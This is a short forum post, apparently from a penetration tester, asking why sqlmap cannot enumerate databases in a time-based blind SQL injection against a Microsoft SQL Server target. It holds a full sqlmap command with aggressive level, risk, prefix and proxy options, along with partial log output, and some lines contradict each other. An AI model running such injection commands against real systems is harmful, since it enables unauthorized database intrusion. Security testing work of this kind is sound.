Hi everybody I'm doing a Pentest and I'm able to do a time based blind sql injection on a very big database.
It takes some time, but that's fine for now. But sqlmap is failing when it comes to retrieving the *number of [databases, tables, columns, whatever]*: $ /opt/sqlmap-dev/sqlmap.py -r http_req1_v2.txt -p "redactedParameter" --user-agent="Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:32.0) Gecko/20100101 Firefox/32.0" --level=5 --risk=3 --dbms=MSSQL --os=Windows --suffix="; --" --prefix="';" --technique=T -v 3 --time-sec=2 --proxy socks5://localhost:5050 --dbs -o [...snip...] [11:57:49] [INFO] confirming Microsoft SQL Server [11:57:49] [INFO] the back-end DBMS is Microsoft SQL Server web server operating system: Windows web application technology: ASP.NET, ASP.NET 2.X.XXXXX (redacted) back-end DBMS: Microsoft SQL Server 2008 [11:57:49] [INFO] fetching database names [11:57:49] [INFO] fetching number of databases [11:57:49] [WARNING] multi-threading is considered unsafe in time-based data retrieval.

[15:03:14] [WARNING] increasing time delay to 3 seconds That works fine and I get good results.

Using higher --time-sec, --hex or --no-cast didn't help. Using --start and --stop also didn't work. I can't get any data out of it like this.
